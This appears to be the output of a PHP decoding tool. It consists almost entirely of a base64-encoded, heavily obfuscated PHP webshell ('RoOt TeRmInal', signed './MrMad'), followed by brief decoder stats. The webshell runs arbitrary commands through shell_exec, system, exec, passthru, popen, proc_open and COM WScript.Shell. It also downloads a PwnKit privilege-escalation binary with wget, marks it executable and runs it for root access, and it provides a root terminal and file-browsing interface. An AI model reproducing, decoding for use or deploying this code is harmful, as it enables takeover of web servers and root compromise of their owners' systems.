hbCgpIHsgZWNobyAiXDEyXHg1Ylw1M1wxMzVceDIwXHg0NFwxNTdceDc3XHg2ZVx4NmNcMTU3XDE0MVx4NjRceDY5XHg2ZVwxNDdceDIwXHg1NFx4NjhcMTQ1XHgyMFwxNjNcMTU3XHg3NVx4NzJcMTQzXHg2NVx4MjBceGEiOyBlY2hvIF9tYWRfY21kKCJcMTY3XHg2N1x4NjVceDc0XDQwIiAuICRHTE9CQUxTWyJcMTQ2XHg3NVwxNTZcMTQ3XDE2M1wxNTEiXVsxNl0gLiAiXHgyMFx4MmRcNTVcMTU2XHg2Zlw1NVwxNDNceDY4XHg2NVx4NjNcMTUzXHgyZFx4NjNcMTQ1XDE2MlwxNjRcMTUxXHg2Nlx4NjlceDYzXDE0MVwxNjRceDY1Iik7IGVjaG8gIlx4NWJceDIxXHg1ZFx4MjBceDQzXDE1MFwxNTVcMTU3XDE0NFx4MjBceDY2XHg2OVwxNTRcMTQ1XHgyMFwxNjBceDc3XHg2ZVwxNTNcMTUxXHg3NFx4MmVcNTZceDJlXDU2XHhhIjsgZWNobyBfbWFkX2NtZCgiXDE0M1x4NjhcMTU1XDE1N1x4NjRcNDBcNTNcMTcwXDQwXHg3MFx4NzdceDZlXHg2YlwxNTFcMTY0Iik7IGVjaG8gIlx4NWJcNTNcMTM1XDQwXDEyNFx4NjVcMTYzXHg3NFwxNTFceDZlXDE0N1w0MFwxNTFcMTQ2XHgyMFx4NzRceDY4XHg2OVwxNjNceDIwXDE1M1x4NjVceDcyXDE1NlwxNDVceDZjXHgyMFwxNjZcMTY1XHg2Y1x4NmVceDY1XHg3Mlx4NjFcMTQyXHg2Y1x4NjVcNTZcNTZceDJlXHhhIjsgZWNobyAiXHg1Ylx4MjFceDVkXDQwXDEyNFx4NjhcMTUxXHg3M1x4MjBcMTUzXHg2NVx4NzJcMTU2XHg2NVwxNTRcNDBcMTY2XHg2NVwxNjJcMTYzXDE1MVx4NmZcMTU2XDQwXDE1MVwxNjNcNDAiIC4ga2VybmVsX2FuZ2thKCkgLiAiXHgyMFx4YSI7IGlmIChzdWdnZXN0X2V4cGxvaXQoKSA9PSAiXHgzNVw1Nlw2MVx4MzEiKSB7IGVjaG8gIlwxMzNcNDFceDVkXHgyMFx4NTRceDY4XDE1MVx4NzNcNDBcMTEzXHg2NVwxNjJcMTU2XHg2NVwxNTRceDIwXHg0ZFx4NjFcMTcxXHg2MlwxNDVceDIwXHg1Nlx4NzVcMTU0XHg2ZVw0MFwxMDRcMTUxXDE2Mlx4NzRceDc5XHg3MFwxNTFceDcwXDE0NVwxMiI7IH0gZWxzZSB7IGlmIChzdWdnZXN0X2V4cGxvaXQoKSA9PSAiXHgzNFw1Nlw2MVw2MCIpIHsgZWNobyAiXDEzM1w0MVx4NWRceDIwXDEyNFwxNTBcMTUxXHg3M1x4MjBcMTEzXHg2NVwxNjJceDZlXDE0NVwxNTRceDIwXDExNVx4NjFceDc5XDE0Mlx4NjVcNDBcMTI2XDE2NVx4NmNceDZlXHgyMFx4NTBcMTI0XDEyMlx4NDFcMTAzXDEwNVwxMzdceDU0XHg1Mlx4NDFceDQzXDEwNVx4NGRcMTA1XHhhIjsgfSBlbHNlIHsgaWYgKGRpc3Ryb19saW51eCgpID09ICJcMTA0XHg2NVwxNDJceDY5XDE0MVx4NmUiIHx8IGRpc3Ryb19saW51eCgpID09ICJcMTI1XHg2Mlx4NzVceDZlXHg3NFx4NzUiIHx8IGRpc3Ryb19saW51eCgpID09ICJcMTAzXDE0NVwxNTZceDc0XDE1N1x4NzMiKSB7IGVjaG8gIlx4NWJceDIxXHg1ZFx4MjBceDU0XHg2OFwxNTFceDczXHgyMFx4NGJcMTQ1XDE2MlwxNTZcMTQ1XDE1NFw0MFx4NGRcMTQxXDE3MVwxNDJcMTQ1XDQwXHg1NlwxNjVcMTU0XDE1Nlx4MjBceDUwXHg3N1wxNTZceDZiXHg2OVx4NzRcMTIiOyB9IH0gfSBlY2hvIF9tYWRfY21kKCJcNTZceDJmXHg3MFx4NzdcMTU2XDE1M1wxNTFceDc0XDQwXHgyMlwxNTFceDY0XDQyXDQwXDc2XHgzZVx4MjBceDZkXDE0MVwxNDRceDJkXHg3MFx4NzdceDZlXHg2Ylx4NjlceDc0Iik7ICRjaGVja192dWxuZXJhYmxlID0gJEdMT0JBTFNbIlwxNDZceDc1XDE1Nlx4NjdceDczXDE1MSJdWzE3XShfX0RJUl9fIC4gIlx4MmZcMTU1XHg2MVx4NjRcNTVcMTYwXHg3N1wxNTZcMTUzXHg2OVwxNjQiKTsgJGV4cGxvZGVfbWFkX3B3a2l0ID0gZXhwbG9kZSgiXHgyMCIsICRjaGVja192dWxuZXJhYmxlKTsgaWYgKCRleHBsb2RlX21hZF9wd2tpdFswXSA9PSAiXDE2NVx4NjlcMTQ0XDc1XHgzMFx4MjhcMTYyXDE1N1x4NmZcMTY0XHgyOSIpIHsgZWNobyAiXHg1Ylx4N2VceDVkXDQwXHg1NFwxNTBcMTUxXHg3M1w0MFwxMTNceDY1XDE2Mlx4NmVceDY1XHg2Y1w0MFx4NjlceDczXDQwXDE2NlwxNjVceDZjXHg2ZVx4NjVcMTYyXDE0MVx4NjJceDZjXHg2NVw0MFx4NjNcMTU3XDE1Nlx4NjdceDcyXHg2MVwxNjRcMTYzXHgyMVwxMiI7IH0gZWxzZSB7IGVjaG8gIlx4NWJceDIxXHg1ZFx4MjBceDU0XHg2OFwxNTFceDczXHgyMFwxNTNceDY1XHg3MlwxNTZcMTQ1XHg2Y1w0MFx4NjlcMTYzXHgyMFx4NmVceDZmXHg3NFw0MFwxMjZceDc1XHg2Y1wxNTZceDY1XHg3MlwxNDFcMTQyXHg2Y1wxNDVcNDBcMTIzXDE1N1x4NzJcMTYyXDE3MVx4MjBceDNhXDUxIjsgcmV0dXJuOyB9IGVjaG8gIlwxMzNcNTNcMTM1XHgyMFx4NDdcMTUxXDE2Nlx4NjlcMTU2XHg2N1w0MFx4NTBceDY1XHg3Mlx4NmRcMTUxXHg3M1x4NzNceDY5XHg2ZlwxNTZceDIwXDE1N1wxNTZceDIwXDE1NVwxNDFcMTQ0XDU1XHg3MFwxNjdceDZlXDE1M1wxNTFcMTY0XDEyIjsgZWNobyBfbWFkX2NtZCgiXHg2M1wxNTBceDZkXHg2ZlwxNDRcNDBceDJiXHg3OFx4MjBcMTU1XDE0MVx4NjRcNTVceDcwXHg3N1x4NmVceDZiXHg2OVx4NzQiKTsgaWYgKCFfbWFkX2NtZCgiXDU2XHgyZlwxNjBceDc3XHg2ZVwxNTNcMTUxXDE2NFw0MFw0MlwxNTFceDY0XDQyIikpIHsgZWNobyAiXHg1Ylx4MjFceDVkXDQwXHg0M1wxNDFceDZlXDE1NlwxNTdcMTY0XDQwXDE2Mlx4NzVcMTU2XHg2ZVwxNTFcMTU2XDE0N1w0MFx4NzBcMTY3XDE1NlwxNTNcMTUxXDE2NCI7IH0gZWxzZSB7IGVjaG8gIlwxMzNcNDFceDVkXDQwXDEwNFx4NmZceDZlXHg2NVx4MjBcMTIzXDE1MVwxNjJceDJlXDQwXHg2ZVx4NmZceDc3XDQwXDE2NVx4MjBceDYzXHg2MVx4NmVcNDBcMTYyXHg3NVx4NmVcMTU2XDE1MVx4NmVceDY3XDQwXDE1N1x4NmVceDIwXHg3Mlx4NmZceDZmXHg3NFw0MFx4NzVceDczXHg2NVx4NzJcNDEiOyBkaWU7IH0gfSBnb3RvIE8yUzZzOyBMa0IyNzogZnVuY3Rpb24gcmVkaXIoJHVybCwgJHZhbHVlKSB7IHJldHVybiAiXHgzY1wxNTVceDY1XHg3NFx4NjFceDIwXDE1MFx4NzRceDc0XDE2MFw1NVwxNDVceDcxXHg3NVwxNTFcMTY2XDc1XHgyMlwxNjJceDY1XHg2NlwxNjJceDY1XDE2M1x4NjhcNDJceDIwXHg2M1wxNTdceDZlXHg3NFwxNDVceDZlXDE2NFx4M2RcNDJceDMwXHgzYlx4NzVcMTYyXHg2Y1w3NVx4M2ZceDc0XDE0NVx4NzJcMTU1XHg2OVx4NmVceDYxXHg2Y1w3NSIgLiAkdmFsdWUgLiAiXHgyNlx4NzBcMTQxXHg3NFwxNTBceDNkIiAuIGhleCgkdXJsKSAuICJcNDJcNzYiOyB9IGdvdG8gZEZqZFU7IElNV0NqOiBmdW5jdGlvbiBfbWFkX2NtZCgkZGUpIHsgJG91dCA9ICcnOyB0cnkgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYzXDE1MFwxNDVceDZjXHg2Y1wxMzdceDY1XDE3MFx4NjVceDYzIikpIHsgcmV0dXJuIEAkR0xPQkFMU1siXDE0NlwxNjVcMTU2XDE0N1x4NzNcMTUxIl1bMF0oJGRlKTsgfSBlbHNlIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXDE2M1wxNzFceDczXDE2NFx4NjVcMTU1IikpIHsgQCRHTE9CQUxTWyJceDY2XDE2NVwxNTZcMTQ3XDE2M1x4NjkiXVszXSgkZGUpOyB9IGVsc2UgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTQ1XDE3MFx4NjVceDYzIikpIHsgJGV4ZWMgPSBhcnJheSgpOyBAJEdMT0JBTFNbIlwxNDZceDc1XHg2ZVwxNDdcMTYzXDE1MSJdWzFdKCRkZSwgJGV4ZWMpOyAkb3V0ID0gQGpvaW4oIlwxMiIsICRleGVjKTsgcmV0dXJuICRleGVjOyB9IGVsc2UgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYwXDE0MVwxNjNcMTYzXHg3NFwxNTBceDcyXHg3NSIpKSB7IEAkR0xPQkFMU1siXHg2NlwxNjVceDZlXHg2N1x4NzNceDY5Il1bMl0oJGRlKTsgfSBlbHNlIHsgaWYgKGZ1bmN0aW9uX2V4aXN0cygiXHg3MFwxNTdcMTYwXHg2NVwxNTYiKSAmJiBmdW5jdGlvbl9leGlzdHMoIlwxNjBcMTQzXHg2Y1x4NmZcMTYzXHg2NSIpKSB7IGlmIChpc19yZXNvdXJjZSgkZiA9IEAkR0xPQkFMU1siXDE0Nlx4NzVceDZlXHg2N1x4NzNcMTUxIl1bNV0oJGRlLCAiXHg3MiIpKSkgeyAkb3V0ID0gJyc7IHdoaWxlICghQGZlb2YoJGYpKSB7ICRvdXQgLj0gZnJlYWQoJGYsIDEwMjQpOyB9IHJldHVybiAkb3V0OyAkR0xPQkFMU1siXHg2Nlx4NzVceDZlXHg2N1x4NzNcMTUxIl1bNl0oJGYpOyB9IH0gZWxzZSB7IGlmIChmdW5jdGlvbl9leGlzdHMoIlwxNjBcMTYyXHg2ZlwxNDNceDVmXDE1N1x4NzBcMTQ1XHg2ZSIpKSB7ICRwaXBlcyA9IGFycmF5KCk7ICRwcm9jZXNzID0gQCRHTE9CQUxTWyJceDY2XDE2NVx4NmVceDY3XHg3M1wxNTEiXVs0XSgkZGUgLiAiXDQwXDYyXHgzZVw0Nlx4MzEiLCBhcnJheShhcnJheSgiXHg3MFx4NjlceDcwXHg2NSIsICJceDc3IiksIGFycmF5KCJcMTYwXHg2OVx4NzBceDY1IiwgIlx4NzciKSwgYXJyYXkoIlwxNjBceDY5XDE2MFwxNDUiLCAiXDE2NyIpKSwgJHBpcGVzLCBudWxsKTsgJG91dCA9IEAkR0xPQkFMU1siXHg2NlwxNjVcMTU2XHg2N1wxNjNcMTUxIl1bOF0oJHBpcGVzWzFdKTsgcmV0dXJuICRvdXQ7IH0gZWxzZSB7IGlmIChjbGFzc19leGlzdHMoIlx4NDNceDRmXHg0ZCIpKSB7ICRtYWRXcyA9IG5ldyBDT00oIlwxMjdceDUzXDE0M1x4NzJcMTUxXDE2MFwxNjRcNTZceDczXDE1MFx4NjVceDZjXDE1NCIpOyAkZXhlYyA9ICRtYWRXcy0+eyRHTE9CQUxTWyJcMTQ2XDE2NVwxNTZceDY3XDE2M1wxNTEiXVsxXX0oIlx4NjNcMTU1XHg2NFx4MmVcMTQ1XHg3OFwxNDVcNDBcNTdcMTQzXDQwIiAuICRfUE9TVFsiXDE0MVwxNTRceDY2XHg2MVw2MSJdKTsgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsgJG91dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsgfSB9IH0gfSB9IH0gfSB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsgfSByZXR1cm4gJG91dDsgfSBnb3RvIFlWUGR3OyB1czRncTogPz4KPCFkb2N0eXBlIGh0bWw+CjxodG1sIGxhbmc9ImVuIj4KCjxoZWFkPgogICAgPG1ldGEgY2hhcnNldD0idXRmLTgiPgogICAgPG1ldGEgbmFtZT0idmlld3BvcnQiIGNvbnRlbnQ9IndpZHRoPWRldmljZS13aWR0aCwgaW5pdGlhbC1zY2FsZT0xIj4KICAgIDx0aXRsZT5Sb090IFRlUm1JbmFsIFs8P3BocCAgZ290byBGQVNuUDsgYkpPVkc6IGVjaG8gY2hlY2tfZnVuY3Rpb24oIlx4NjdcMTQzXDE0MyIpOyBnb3RvIGtldWFFOyBkWWpCTzogaWYgKCRfR0VUWyJcMTY0XDE0NVx4NzJceDZkXDE1MVwxNTZceDYxXHg2YyJdID09ICJcMTU2XDE1N1wxNjJcMTU1XHg2MVx4NmMiKSB7IGVjaG8gIlx4M2NcMTY0XDE0NVwxNzBcMTY0XDE0MVx4NzJcMTQ1XDE0MVx4MjBceDYzXHg2Y1x4NjFceDczXHg3M1x4M2RcNDJceDYyXDE1N1x4NzJcMTQ0XHg2NVx4NzJceDJkXDYwXDQyXHgyMFx4NjRceDY5XHg3M1x4NjFcMTQyXDE1NFx4NjVceDY0XHgzZSI7IGlmIChpc3NldCgkX1BPU1RbIlx4NzNcMTY1XHg2Mlx4NmRcMTUxXDE2NCJdKSkgeyBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoX21hZF9jbWQoJHRlcm1pbmFsIC4gIlw0MFw2Mlw3Nlw0Nlx4MzEiKSk7IH0gZWNobyAiXHgzY1w1N1wxNjRcMTQ1XDE3MFx4NzRceDYxXDE2MlwxNDVceDYxXDc2IjsgfSBlbHNlIHsgaWYgKCRfR0VUWyJceDc0XDE0NVwxNjJcMTU1XHg2OVx4NmVcMTQxXHg2YyJdID09ICJceDcyXHg2ZlwxNTdceDc0IikgeyBlY2hvICJceDNjXDE2NFwxNDVceDc4XHg3NFx4NjFceDcyXHg2NVwxNDFcNDBcMTQzXHg2Y1wxNDFceDczXDE2M1x4M2RceDIyXHg2MlwxNTdceDcyXDE0NFx4NjVcMTYyXDU1XHgzMFw0Mlw0MFwxNDRceDY5XHg3M1wxNDFcMTQyXDE1NFx4NjVceDY0XHgzZSI7IGlmICgkdGVybWluYWwgPT0gIlx4NzJceDZmXHg2Zlx4NzQiKSB7IHJvb3RfdGVybWluYWwoKTsgfSBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoX21hZF9jbWQoIlx4MmVceDJmXHg3MFx4NzdceDZlXHg2YlwxNTFceDc0XHgyMFw0MiIgLiAkdGVybWluYWwgLiAiXDQyIikpOyBlY2hvICJceDNjXDU3XDE2NFx4NjVcMTcwXHg3NFwxNDFcMTYyXDE0NVx4NjFcNzZcMTIiOyB9IGVsc2UgeyBlY2hvIGJhc2U2NF9kZWNvZGUoIlwxMjdcMTcxXDEwMlwxMjFceDYzXDE1NVx4NmNcNjJceDVhXHg1N1wxNzBcMTU0XDEzMlw2Mlx4NTVcMTQ3XDEyMlx4NThcMTE2XHg2YVx4NTlceDU3XDE3MFwxNTBcMTQ0XDEwN1wxNTRcMTY2XDE0MlwxNTFcMTAyXDEwNlx4NjVceDQ4XHg0Mlx4NzNceDYyXDYyXHg2Y1x4MzBceDVhXHg1OFx4NDlcMTQ3XHg1OFwxMjRceDc4XHg2OVwxNDNceDZhXHgzNFx4NGJcMTI3XDE3MVx4NzRceDY0XDExMVwxMDVcMTA2XDYxXDE0NFwxMDdceDY4XDE2Nlx4NjNcMTUxXDEwMVx4MzZceDQ5XDEwM1w2NFwxNjZceDU0XHg1OFwxMTJcMTE2XDEzMVwxMjdcMTIxXHgzOFwxMzFcMTU2XHg0OVw1M1x4NDNcMTU0XDE2M1wxNjJcMTMwXHg1M1wxMDJceDZmXHg2NFwxMTBcMTIyXHg3N1wxNDNcMTcyXHg2Zlx4NzZcMTE0XHgzMlwxNDRceDcwXHg2NFx4NDdcMTUwXHgzMVwxMzFcMTUxXDY1XHg2YVwxNDJceDMyXDYwXDE2Nlx4NTRceDU3XHg0Nlx4NmJcMTIyXDEzMFx4NjhcMTY3XDE0MlwxMDdcNzFcMTYwXDE0NFwxMTBcMTE1XDcwXHg1OVwxNTZcMTExXDUzXHg0M1x4NmFceDc4XDE1MVwxNDNceDZhXDY0XHg0Ylx4NTdcMTcxXDE2NFx4NjRceDQ5XDEwNlx4NTJceDM1XHg2M1wxMDdceDU1XHg2N1wxNDNceDZkXDcxXDE2NlwxNDRcMTAzXDEwMlwxNTVceDYyXDYzXDExMVx4NjdcMTQzXHg2ZVwxMjZceDc1XDE0Mlx4NmRcMTU0XDE2NVwxMzJceDc5XHg0Mlx4NjhceDY0XHg1OFx4NTJceDc2XHg0OVwxMTBcMTEyXDE2Nlx4NjJceDMzXHg1MVx4M2QiKTsgfSB9IGdvdG8gUmo4MVE7IEZBU25QOiBlY2hvICRfU0VSVkVSWyJceDUzXDEwNVx4NTJceDU2XDEwNVwxMjJcMTM3XDExNlwxMDFceDRkXDEwNSJdOyBnb3RvIFd3dndiOyBOVnhlTTogQGluaV9zZXQoIlwxNDRceDY5XHg3M1x4NzBceDZjXDE0MVwxNzFceDVmXDE0NVwxNjJcMTYyXHg2Zlx4NzJceDczIiwgMCk7IGdvdG8gS3dtVl87IGEwelNPOiAkdGVybWluYWwgPSAkX1BPU1RbIlwxNjRceDY1XDE2Mlx4NmRcMTUxXDE1NlwxNDFceDZjIl07IGdvdG8gZFlqQk87IEdWaHlIOiBAaW5pX3NldCgiXHg2Zlx4NzVcMTY0XDE2MFx4NzVceDc0XDEzN1x4NjJceDc1XHg2Nlx4NjZcMTQ1XHg3Mlx4NjlcMTU2XHg2NyIsIDApOyBnb3RvIE5WeGVNOyBPMlM2czogZnVuY3Rpb24gY2hlY2tfZnVuY3Rpb24oJHZhbHVlKSB7IGlmIChfbWFkX2NtZCgieyR2YWx1ZX1ceDIwXHgyZFx4MmRceDc2XDE0NVwxNjJceDczXDE1MVwxNTdceDZlIikpIHsgcmV0dXJuICJceDNjXHg2Nlx4NmZcMTU2XHg3NFx4MjBceDYzXDE1N1wxNTRceDZmXHg3Mlw3NVw0N1x4NjdcMTYyXHg2NVwxNDVceDZlXHgyN1w3Nlx4NGZcMTE2XDc0XDU3XDE0NlwxNTdceDZlXHg3NFw3NiI7IH0gZWxzZSB7IHJldHVybiAiXDc0XHg2NlwxNTdceDZlXHg3NFw0MFx4NjNcMTU3XDE1NFwxNTdceDcyXDc1XDQ3XHg3Mlx4NjVceDY0XHgyN1x4M2VceDRmXDEwNlwxMDZceDNjXDU3XDE0NlwxNTdcMTU2XHg3NFw3NiI7IH0gfSBnb3RvIGo3eW5vOyBCSTlXODogZnVuY3Rpb24gdW5oZXgoJHkpIHsgJG4gPSAnJzsgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsgJG4gLj0gY2hyKGhleGRlYygkeVskaV0gLiAkeVskaSArIDFdKSk7IH0gcmV0dXJuICRuOyB9IGdvdG8gWWxwYmI7IHVfUWVQOiBlY2hvICRfU0VSVkVSWyRmdW5nc2lbMThdXTsgZ290byBtckh3VjsgZnRDYnQ6IGVjaG8gJGZ1bmdzaVsxMV0oKTsgZ290byB4a3NXMzsgd1FkWTU6IEBzZXRfdGltZV9saW1pdCgwKTsgZ290byBzMlpTdTsgY0pUeVA6IGVjaG8gZ2V0X2N1cnJlbnRfdXNlcigpOyBnb3RvIFZVbUc4OyBrZXVhRTogPz4KXTwvYj48L2xpPgogICAgICAgICAgICA8bGk+PGI+PD9waHAgIGdvdG8gY0pUeVA7IG1ySHdWOiA/Pgp+IyIgYXV0b2ZvY3VzPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InN1Ym1pdCIgbmFtZT0ic3VibWl0IiB2YWx1ZT0iPiI+CiAgICAgICAgICAgIDwvZm9ybT4KICAgICAgICAgICAgPGJyPgogICAgICAgICAgICA8P3BocCAgZ290byBhMHpTTzsgTGxEX3Q6ICRoaXR1bmdfYXJyYXkgPSBjb3VudCgkQXJyYXkpOyBnb3RvIFZFSTJCOyBSaW5WQTogZWNobyBjaGVja19mdW5jdGlvbigiXDE0Mlx4NjFcMTYzXDE1MCIpOyBnb3RvIHpOVDdsOyBzRHcxeTogaWYgKCRfR0VUWyJcMTY0XHg2NVx4NzJcMTU1XDE1MVwxNTZcMTQxXDE1NCJdID09ICJcMTYyXHg2Zlx4NmZcMTY0IiB8fCAkX0dFVFsiXDE2NFwxNDVcMTYyXDE1NVwxNTFcMTU2XHg2MVwxNTQiXSA9PSAiXHg2ZVx4NmZcMTYyXHg2ZFx4NjFceDZjIikgeyAkdGVybWluYWwgPSAkX1BPU1RbIlwxNjRceDY1XDE2Mlx4NmRcMTUxXDE1NlwxNDFceDZjIl07ICR4cGxzID0gZXhwbG9kZSgiXDQwIiwgJHRlcm1pbmFsKTsgaWYgKCR0ZXJtaW5hbCA9PSAiXDE0M1wxNDRcNDAiIC4gJHhwbHNbMV0pIHsgZWNobyByZWRpcigkeHBsc1sxXSwgJF9HRVRbIlwxNjRcMTQ1XDE2Mlx4NmRceDY5XHg2ZVwxNDFceDZjIl0pOyB9IH0gZ290byB1UUp6Xzsgek5UN2w6ID8+Cl07UEVSTFs8P3BocCAgZ290byB0OWs3SzsgeGhHNVQ6IEBpbmlfc2V0KCJceDY1XHg3Mlx4NzJcMTU3XDE2Mlx4NWZceDZjXDE1N1x4NjciLCBOVUxMKTsgZ290byBSVEJVQzsgVFVvSkk6IGZ1bmN0aW9uIGRpc3Ryb19saW51eCgpIHsgJHVuYW1lID0gJEdMT0JBTFNbIlwxNDZceDc1XDE1NlwxNDdcMTYzXDE1MSJdWzExXSgpOyAkeHBsb2QgPSBleHBsb2RlKCJceDIwIiwgJHVuYW1lKTsgcmV0dXJuICR4cGxvZFs2XTsgfSBnb3RvIExrQjI3OyB4a3NXMzogPz4KPC9iPjwvbGk+CiAgICAgICAgICAgIDxsaT48Yj5CQVNIWzw/cGhwICBnb3RvIFJpblZBOyB3NDBGdjogPz4KXTtHQ0NbPD9waHAgIGdvdG8gYkpPVkc7IEdtN3E1OiBlY2hvIGNoZWNrX2Z1bmN0aW9uKCJcMTYwXDE1M1x4NjVcMTcwXHg2NVwxNDMiKTsgZ290byB3NDBGdjsgczJaU3U6IEBjbGVhcnN0YXRjYWNoZSgpOyBnb3RvIHhoRzVUOyBPYU5fZTogZnVuY3Rpb24gaGV4KCRuKSB7ICR5ID0gJyc7IGZvciAoJGkgPSAwOyAkaSA8IHN0cmxlbigkbik7ICRpKyspIHsgJHkgLj0gZGVjaGV4KG9yZCgkblskaV0pKTsgfSByZXR1cm4gJHk7IH0gZ290byBCSTlXODsgdVFKel86IGlmIChpc3NldCgkX0dFVFsiXDE2MFwxNDFcMTY0XHg2OCJdKSkgeyAkY2RpciA9IHVuaGV4KCRfR0VUWyJcMTYwXDE0MVwxNjRcMTUwIl0pOyAkZnVuZ3NpWzE5XSgkY2Rpcik7IH0gZWxzZSB7ICRjZGlyID0gJGZ1bmdzaVsyMF0oKTsgfSBnb3RvIHVzNGdxOyBSajgxUTogPz4KICAgICAgICA8L2Rpdj4KICAgIDwvZGl2PgogICAgPGNlbnRlcj4KICAgICAgICA8c3Bhbj48Yj4mY29weTtDb3B5cmlnaHQgQnkgLi9Nck1hZDwvYj48L3NwYW4+CiAgICA8L2NlbnRlcj4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjIuMS9kaXN0L2pzL2Jvb3RzdHJhcC5idW5kbGUubWluLmpzIiBpbnRlZ3JpdHk9InNoYTM4NC11MU9rbkN2eFd2WTVrZm1OQklMSzJoUm5RQzNQcjE3YStSVFQ2cklISTdObmlrdmJabEhnVFBPT21NaTQ2NkM4IiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj48L3NjcmlwdD4KPC9ib2R5PgoKPC9odG1sPgoKPD9waHAgIGdvdG8gSU1XQ2o7IGo3eW5vOiBmdW5jdGlvbiBrZXJuZWxfYW5na2EoKSB7ICR1bmFtZSA9ICRHTE9CQUxTWyJcMTQ2XHg3NVx4NmVceDY3XHg3M1wxNTEiXVsxMV0oKTsgJHhwbG9kID0gZXhwbG9kZSgiXHgyMCIsICR1bmFtZSk7ICR4cGxkID0gZXhwbG9kZSgiXDU1IiwgJHhwbG9kWzJdKTsgcmV0dXJuICR4cGxkWzBdOyB9IGdvdG8gT2FOX2U7IGRGamRVOiA='));
Function Calls
base64_decode | 1 |
Stats
MD5 | 7b3f1a84b79020f8105f1ee5e1873e04 |
Eval Count | 1 |
Decode Time | 104 ms |